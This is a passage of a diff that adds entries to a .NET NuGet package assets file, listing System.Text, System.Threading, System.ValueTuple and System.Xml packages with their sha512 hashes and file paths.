"BiIg+KWaSDOITze6jGQynxg64naAPtqGHBwDrLaCtixsa5bKiR8dpPOHA7ge3C0JJQizJE+sfkz1wV+BAKAYZw==", + "type": "package", + "path": "system.text.encoding/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Text.Encoding.dll", + "ref/netcore50/System.Text.Encoding.xml", + "ref/netcore50/de/System.Text.Encoding.xml", + "ref/netcore50/es/System.Text.Encoding.xml", + "ref/netcore50/fr/System.Text.Encoding.xml", + "ref/netcore50/it/System.Text.Encoding.xml", + "ref/netcore50/ja/System.Text.Encoding.xml", + "ref/netcore50/ko/System.Text.Encoding.xml", + "ref/netcore50/ru/System.Text.Encoding.xml", + "ref/netcore50/zh-hans/System.Text.Encoding.xml", + "ref/netcore50/zh-hant/System.Text.Encoding.xml", + "ref/netstandard1.0/System.Text.Encoding.dll", + "ref/netstandard1.0/System.Text.Encoding.xml", + "ref/netstandard1.0/de/System.Text.Encoding.xml", + "ref/netstandard1.0/es/System.Text.Encoding.xml", + "ref/netstandard1.0/fr/System.Text.Encoding.xml", + "ref/netstandard1.0/it/System.Text.Encoding.xml", + "ref/netstandard1.0/ja/System.Text.Encoding.xml", + "ref/netstandard1.0/ko/System.Text.Encoding.xml", + "ref/netstandard1.0/ru/System.Text.Encoding.xml", + "ref/netstandard1.0/zh-hans/System.Text.Encoding.xml", + "ref/netstandard1.0/zh-hant/System.Text.Encoding.xml", + "ref/netstandard1.3/System.Text.Encoding.dll", + "ref/netstandard1.3/System.Text.Encoding.xml", + "ref/netstandard1.3/de/System.Text.Encoding.xml", + "ref/netstandard1.3/es/System.Text.Encoding.xml", + "ref/netstandard1.3/fr/System.Text.Encoding.xml", + "ref/netstandard1.3/it/System.Text.Encoding.xml", + "ref/netstandard1.3/ja/System.Text.Encoding.xml", + "ref/netstandard1.3/ko/System.Text.Encoding.xml", + "ref/netstandard1.3/ru/System.Text.Encoding.xml", + "ref/netstandard1.3/zh-hans/System.Text.Encoding.xml", + "ref/netstandard1.3/zh-hant/System.Text.Encoding.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.text.encoding.4.3.0.nupkg.sha512", + "system.text.encoding.nuspec" + ] + }, + "System.Text.Encoding.Extensions/4.3.0": { + "sha512": "YVMK0Bt/A43RmwizJoZ22ei2nmrhobgeiYwFzC4YAN+nue8RF6djXDMog0UCn+brerQoYVyaS+ghy9P/MUVcmw==", + "type": "package", + "path": "system.text.encoding.extensions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Text.Encoding.Extensions.dll", + "ref/netcore50/System.Text.Encoding.Extensions.xml", + "ref/netcore50/de/System.Text.Encoding.Extensions.xml", + "ref/netcore50/es/System.Text.Encoding.Extensions.xml", + "ref/netcore50/fr/System.Text.Encoding.Extensions.xml", + "ref/netcore50/it/System.Text.Encoding.Extensions.xml", + "ref/netcore50/ja/System.Text.Encoding.Extensions.xml", + "ref/netcore50/ko/System.Text.Encoding.Extensions.xml", + "ref/netcore50/ru/System.Text.Encoding.Extensions.xml", + "ref/netcore50/zh-hans/System.Text.Encoding.Extensions.xml", + "ref/netcore50/zh-hant/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/System.Text.Encoding.Extensions.dll", + "ref/netstandard1.0/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/de/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/es/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/fr/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/it/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/ja/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/ko/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/ru/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/zh-hans/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/zh-hant/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/System.Text.Encoding.Extensions.dll", + "ref/netstandard1.3/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/de/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/es/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/fr/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/it/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/ja/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/ko/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/ru/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/zh-hans/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/zh-hant/System.Text.Encoding.Extensions.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.text.encoding.extensions.4.3.0.nupkg.sha512", + "system.text.encoding.extensions.nuspec" + ] + }, + "System.Text.Encodings.Web/8.0.0": { + "sha512": "yev/k9GHAEGx2Rg3/tU6MQh4HGBXJs70y7j1LaM1i/ER9po+6nnQ6RRqTJn1E7Xu0fbIFK80Nh5EoODxrbxwBQ==", + "type": "package", + "path": "system.text.encodings.web/8.0.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "buildTransitive/net461/System.Text.Encodings.Web.targets", + "buildTransitive/net462/_._", + "buildTransitive/net6.0/_._", + "buildTransitive/netcoreapp2.0/System.Text.Encodings.Web.targets", + "lib/net462/System.Text.Encodings.Web.dll", + "lib/net462/System.Text.Encodings.Web.xml", + "lib/net6.0/System.Text.Encodings.Web.dll", + "lib/net6.0/System.Text.Encodings.Web.xml", + "lib/net7.0/System.Text.Encodings.Web.dll", + "lib/net7.0/System.Text.Encodings.Web.xml", + "lib/net8.0/System.Text.Encodings.Web.dll", + "lib/net8.0/System.Text.Encodings.Web.xml", + "lib/netstandard2.0/System.Text.Encodings.Web.dll", + "lib/netstandard2.0/System.Text.Encodings.Web.xml", + "runtimes/browser/lib/net6.0/System.Text.Encodings.Web.dll", + "runtimes/browser/lib/net6.0/System.Text.Encodings.Web.xml", + "runtimes/browser/lib/net7.0/System.Text.Encodings.Web.dll", + "runtimes/browser/lib/net7.0/System.Text.Encodings.Web.xml", + "runtimes/browser/lib/net8.0/System.Text.Encodings.Web.dll", + "runtimes/browser/lib/net8.0/System.Text.Encodings.Web.xml", + "system.text.encodings.web.8.0.0.nupkg.sha512", + "system.text.encodings.web.nuspec", + "useSharedDesignerContext.txt" + ] + }, + "System.Text.Json/8.0.5": { + "sha512": "0f1B50Ss7rqxXiaBJyzUu9bWFOO2/zSlifZ/UNMdiIpDYe4cY4LQQicP4nirK1OS31I43rn062UIJ1Q9bpmHpg==", + "type": "package", + "path": "system.text.json/8.0.5", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "LICENSE.TXT", + "PACKAGE.md", + "THIRD-PARTY-NOTICES.TXT", + "analyzers/dotnet/roslyn3.11/cs/System.Text.Json.SourceGeneration.dll", + "analyzers/dotnet/roslyn3.11/cs/cs/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/de/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/es/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/fr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/it/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/ja/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/ko/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/pl/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/pt-BR/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/ru/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/tr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/zh-Hans/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/zh-Hant/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/System.Text.Json.SourceGeneration.dll", + "analyzers/dotnet/roslyn4.0/cs/cs/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/de/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/es/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/fr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/it/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/ja/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/ko/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/pl/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/pt-BR/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/ru/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/tr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/zh-Hans/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/zh-Hant/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/System.Text.Json.SourceGeneration.dll", + "analyzers/dotnet/roslyn4.4/cs/cs/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/de/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/es/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/fr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/it/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/ja/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/ko/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/pl/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/pt-BR/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/ru/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/tr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/zh-Hans/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/zh-Hant/System.Text.Json.SourceGeneration.resources.dll", + "buildTransitive/net461/System.Text.Json.targets", + "buildTransitive/net462/System.Text.Json.targets", + "buildTransitive/net6.0/System.Text.Json.targets", + "buildTransitive/netcoreapp2.0/System.Text.Json.targets", + "buildTransitive/netstandard2.0/System.Text.Json.targets", + "lib/net462/System.Text.Json.dll", + "lib/net462/System.Text.Json.xml", + "lib/net6.0/System.Text.Json.dll", + "lib/net6.0/System.Text.Json.xml", + "lib/net7.0/System.Text.Json.dll", + "lib/net7.0/System.Text.Json.xml", + "lib/net8.0/System.Text.Json.dll", + "lib/net8.0/System.Text.Json.xml", + "lib/netstandard2.0/System.Text.Json.dll", + "lib/netstandard2.0/System.Text.Json.xml", + "system.text.json.8.0.5.nupkg.sha512", + "system.text.json.nuspec", + "useSharedDesignerContext.txt" + ] + }, + "System.Text.RegularExpressions/4.3.0": { + "sha512": "RpT2DA+L660cBt1FssIE9CAGpLFdFPuheB7pLpKpn6ZXNby7jDERe8Ua/Ne2xGiwLVG2JOqziiaVCGDon5sKFA==", + "type": "package", + "path": "system.text.regularexpressions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net463/System.Text.RegularExpressions.dll", + "lib/netcore50/System.Text.RegularExpressions.dll", + "lib/netstandard1.6/System.Text.RegularExpressions.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net463/System.Text.RegularExpressions.dll", + "ref/netcore50/System.Text.RegularExpressions.dll", + "ref/netcore50/System.Text.RegularExpressions.xml", + "ref/netcore50/de/System.Text.RegularExpressions.xml", + "ref/netcore50/es/System.Text.RegularExpressions.xml", + "ref/netcore50/fr/System.Text.RegularExpressions.xml", + "ref/netcore50/it/System.Text.RegularExpressions.xml", + "ref/netcore50/ja/System.Text.RegularExpressions.xml", + "ref/netcore50/ko/System.Text.RegularExpressions.xml", + "ref/netcore50/ru/System.Text.RegularExpressions.xml", + "ref/netcore50/zh-hans/System.Text.RegularExpressions.xml", + "ref/netcore50/zh-hant/System.Text.RegularExpressions.xml", + "ref/netcoreapp1.1/System.Text.RegularExpressions.dll", + "ref/netstandard1.0/System.Text.RegularExpressions.dll", + "ref/netstandard1.0/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/de/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/es/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/fr/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/it/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/ja/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/ko/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/ru/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/zh-hans/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/zh-hant/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/System.Text.RegularExpressions.dll", + "ref/netstandard1.3/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/de/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/es/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/fr/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/it/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/ja/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/ko/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/ru/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/zh-hans/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/zh-hant/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/System.Text.RegularExpressions.dll", + "ref/netstandard1.6/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/de/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/es/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/fr/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/it/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/ja/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/ko/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/ru/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/zh-hans/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/zh-hant/System.Text.RegularExpressions.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.text.regularexpressions.4.3.0.nupkg.sha512", + "system.text.regularexpressions.nuspec" + ] + }, + "System.Threading/4.3.0": { + "sha512": "VkUS0kOBcUf3Wwm0TSbrevDDZ6BlM+b/HRiapRFWjM5O0NS0LviG0glKmFK+hhPDd1XFeSdU1GmlLhb2CoVpIw==", + "type": "package", + "path": "system.threading/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.Threading.dll", + "lib/netstandard1.3/System.Threading.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Threading.dll", + "ref/netcore50/System.Threading.xml", + "ref/netcore50/de/System.Threading.xml", + "ref/netcore50/es/System.Threading.xml", + "ref/netcore50/fr/System.Threading.xml", + "ref/netcore50/it/System.Threading.xml", + "ref/netcore50/ja/System.Threading.xml", + "ref/netcore50/ko/System.Threading.xml", + "ref/netcore50/ru/System.Threading.xml", + "ref/netcore50/zh-hans/System.Threading.xml", + "ref/netcore50/zh-hant/System.Threading.xml", + "ref/netstandard1.0/System.Threading.dll", + "ref/netstandard1.0/System.Threading.xml", + "ref/netstandard1.0/de/System.Threading.xml", + "ref/netstandard1.0/es/System.Threading.xml", + "ref/netstandard1.0/fr/System.Threading.xml", + "ref/netstandard1.0/it/System.Threading.xml", + "ref/netstandard1.0/ja/System.Threading.xml", + "ref/netstandard1.0/ko/System.Threading.xml", + "ref/netstandard1.0/ru/System.Threading.xml", + "ref/netstandard1.0/zh-hans/System.Threading.xml", + "ref/netstandard1.0/zh-hant/System.Threading.xml", + "ref/netstandard1.3/System.Threading.dll", + "ref/netstandard1.3/System.Threading.xml", + "ref/netstandard1.3/de/System.Threading.xml", + "ref/netstandard1.3/es/System.Threading.xml", + "ref/netstandard1.3/fr/System.Threading.xml", + "ref/netstandard1.3/it/System.Threading.xml", + "ref/netstandard1.3/ja/System.Threading.xml", + "ref/netstandard1.3/ko/System.Threading.xml", + "ref/netstandard1.3/ru/System.Threading.xml", + "ref/netstandard1.3/zh-hans/System.Threading.xml", + "ref/netstandard1.3/zh-hant/System.Threading.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/aot/lib/netcore50/System.Threading.dll", + "system.threading.4.3.0.nupkg.sha512", + "system.threading.nuspec" + ] + }, + "System.Threading.Tasks/4.3.0": { + "sha512": "LbSxKEdOUhVe8BezB/9uOGGppt+nZf6e1VFyw6v3DN6lqitm0OSn2uXMOdtP0M3W4iMcqcivm2J6UgqiwwnXiA==", + "type": "package", + "path": "system.threading.tasks/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Threading.Tasks.dll", + "ref/netcore50/System.Threading.Tasks.xml", + "ref/netcore50/de/System.Threading.Tasks.xml", + "ref/netcore50/es/System.Threading.Tasks.xml", + "ref/netcore50/fr/System.Threading.Tasks.xml", + "ref/netcore50/it/System.Threading.Tasks.xml", + "ref/netcore50/ja/System.Threading.Tasks.xml", + "ref/netcore50/ko/System.Threading.Tasks.xml", + "ref/netcore50/ru/System.Threading.Tasks.xml", + "ref/netcore50/zh-hans/System.Threading.Tasks.xml", + "ref/netcore50/zh-hant/System.Threading.Tasks.xml", + "ref/netstandard1.0/System.Threading.Tasks.dll", + "ref/netstandard1.0/System.Threading.Tasks.xml", + "ref/netstandard1.0/de/System.Threading.Tasks.xml", + "ref/netstandard1.0/es/System.Threading.Tasks.xml", + "ref/netstandard1.0/fr/System.Threading.Tasks.xml", + "ref/netstandard1.0/it/System.Threading.Tasks.xml", + "ref/netstandard1.0/ja/System.Threading.Tasks.xml", + "ref/netstandard1.0/ko/System.Threading.Tasks.xml", + "ref/netstandard1.0/ru/System.Threading.Tasks.xml", + "ref/netstandard1.0/zh-hans/System.Threading.Tasks.xml", + "ref/netstandard1.0/zh-hant/System.Threading.Tasks.xml", + "ref/netstandard1.3/System.Threading.Tasks.dll", + "ref/netstandard1.3/System.Threading.Tasks.xml", + "ref/netstandard1.3/de/System.Threading.Tasks.xml", + "ref/netstandard1.3/es/System.Threading.Tasks.xml", + "ref/netstandard1.3/fr/System.Threading.Tasks.xml", + "ref/netstandard1.3/it/System.Threading.Tasks.xml", + "ref/netstandard1.3/ja/System.Threading.Tasks.xml", + "ref/netstandard1.3/ko/System.Threading.Tasks.xml", + "ref/netstandard1.3/ru/System.Threading.Tasks.xml", + "ref/netstandard1.3/zh-hans/System.Threading.Tasks.xml", + "ref/netstandard1.3/zh-hant/System.Threading.Tasks.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.threading.tasks.4.3.0.nupkg.sha512", + "system.threading.tasks.nuspec" + ] + }, + "System.Threading.Tasks.Extensions/4.5.4": { + "sha512": "zteT+G8xuGu6mS+mzDzYXbzS7rd3K6Fjb9RiZlYlJPam2/hU7JCBZBVEcywNuR+oZ1ncTvc/cq0faRr3P01OVg==", + "type": "package", + "path": "system.threading.tasks.extensions/4.5.4", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net461/System.Threading.Tasks.Extensions.dll", + "lib/net461/System.Threading.Tasks.Extensions.xml", + "lib/netcoreapp2.1/_._", + "lib/netstandard1.0/System.Threading.Tasks.Extensions.dll", + "lib/netstandard1.0/System.Threading.Tasks.Extensions.xml", + "lib/netstandard2.0/System.Threading.Tasks.Extensions.dll", + "lib/netstandard2.0/System.Threading.Tasks.Extensions.xml", + "lib/portable-net45+win8+wp8+wpa81/System.Threading.Tasks.Extensions.dll", + "lib/portable-net45+win8+wp8+wpa81/System.Threading.Tasks.Extensions.xml", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/netcoreapp2.1/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.threading.tasks.extensions.4.5.4.nupkg.sha512", + "system.threading.tasks.extensions.nuspec", + "useSharedDesignerContext.txt", + "version.txt" + ] + }, + "System.Threading.Timer/4.3.0": { + "sha512": "Z6YfyYTCg7lOZjJzBjONJTFKGN9/NIYKSxhU5GRd+DTwHSZyvWp1xuI5aR+dLg+ayyC5Xv57KiY4oJ0tMO89fQ==", + "type": "package", + "path": "system.threading.timer/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net451/_._", + "lib/portable-net451+win81+wpa81/_._", + "lib/win81/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net451/_._", + "ref/netcore50/System.Threading.Timer.dll", + "ref/netcore50/System.Threading.Timer.xml", + "ref/netcore50/de/System.Threading.Timer.xml", + "ref/netcore50/es/System.Threading.Timer.xml", + "ref/netcore50/fr/System.Threading.Timer.xml", + "ref/netcore50/it/System.Threading.Timer.xml", + "ref/netcore50/ja/System.Threading.Timer.xml", + "ref/netcore50/ko/System.Threading.Timer.xml", + "ref/netcore50/ru/System.Threading.Timer.xml", + "ref/netcore50/zh-hans/System.Threading.Timer.xml", + "ref/netcore50/zh-hant/System.Threading.Timer.xml", + "ref/netstandard1.2/System.Threading.Timer.dll", + "ref/netstandard1.2/System.Threading.Timer.xml", + "ref/netstandard1.2/de/System.Threading.Timer.xml", + "ref/netstandard1.2/es/System.Threading.Timer.xml", + "ref/netstandard1.2/fr/System.Threading.Timer.xml", + "ref/netstandard1.2/it/System.Threading.Timer.xml", + "ref/netstandard1.2/ja/System.Threading.Timer.xml", + "ref/netstandard1.2/ko/System.Threading.Timer.xml", + "ref/netstandard1.2/ru/System.Threading.Timer.xml", + "ref/netstandard1.2/zh-hans/System.Threading.Timer.xml", + "ref/netstandard1.2/zh-hant/System.Threading.Timer.xml", + "ref/portable-net451+win81+wpa81/_._", + "ref/win81/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.threading.timer.4.3.0.nupkg.sha512", + "system.threading.timer.nuspec" + ] + }, + "System.ValueTuple/4.5.0": { + "sha512": "okurQJO6NRE/apDIP23ajJ0hpiNmJ+f0BwOlB/cSqTLQlw5upkf+5+96+iG2Jw40G1fCVCyPz/FhIABUjMR+RQ==", + "type": "package", + "path": "system.valuetuple/4.5.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net461/System.ValueTuple.dll", + "lib/net461/System.ValueTuple.xml", + "lib/net47/System.ValueTuple.dll", + "lib/net47/System.ValueTuple.xml", + "lib/netcoreapp2.0/_._", + "lib/netstandard1.0/System.ValueTuple.dll", + "lib/netstandard1.0/System.ValueTuple.xml", + "lib/netstandard2.0/_._", + "lib/portable-net40+sl4+win8+wp8/System.ValueTuple.dll", + "lib/portable-net40+sl4+win8+wp8/System.ValueTuple.xml", + "lib/uap10.0.16299/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net461/System.ValueTuple.dll", + "ref/net47/System.ValueTuple.dll", + "ref/netcoreapp2.0/_._", + "ref/netstandard2.0/_._", + "ref/portable-net40+sl4+win8+wp8/System.ValueTuple.dll", + "ref/uap10.0.16299/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.valuetuple.4.5.0.nupkg.sha512", + "system.valuetuple.nuspec", + "useSharedDesignerContext.txt", + "version.txt" + ] + }, + "System.Xml.ReaderWriter/4.3.0": { + "sha512": "GrprA+Z0RUXaR4N7/eW71j1rgMnEnEVlgii49GZyAjTH7uliMnrOU3HNFBr6fEDBCJCIdlVNq9hHbaDR621XBA==", + "type": "package", + "path": "system.xml.readerwriter/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net46/System.Xml.ReaderWriter.dll", + "lib/netcore50/System.Xml.ReaderWriter.dll", + "lib/netstandard1.3/System.Xml.ReaderWriter.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net46/System.Xml.ReaderWriter.dll", + "ref/netcore50/System.Xml.ReaderWriter.dll", + 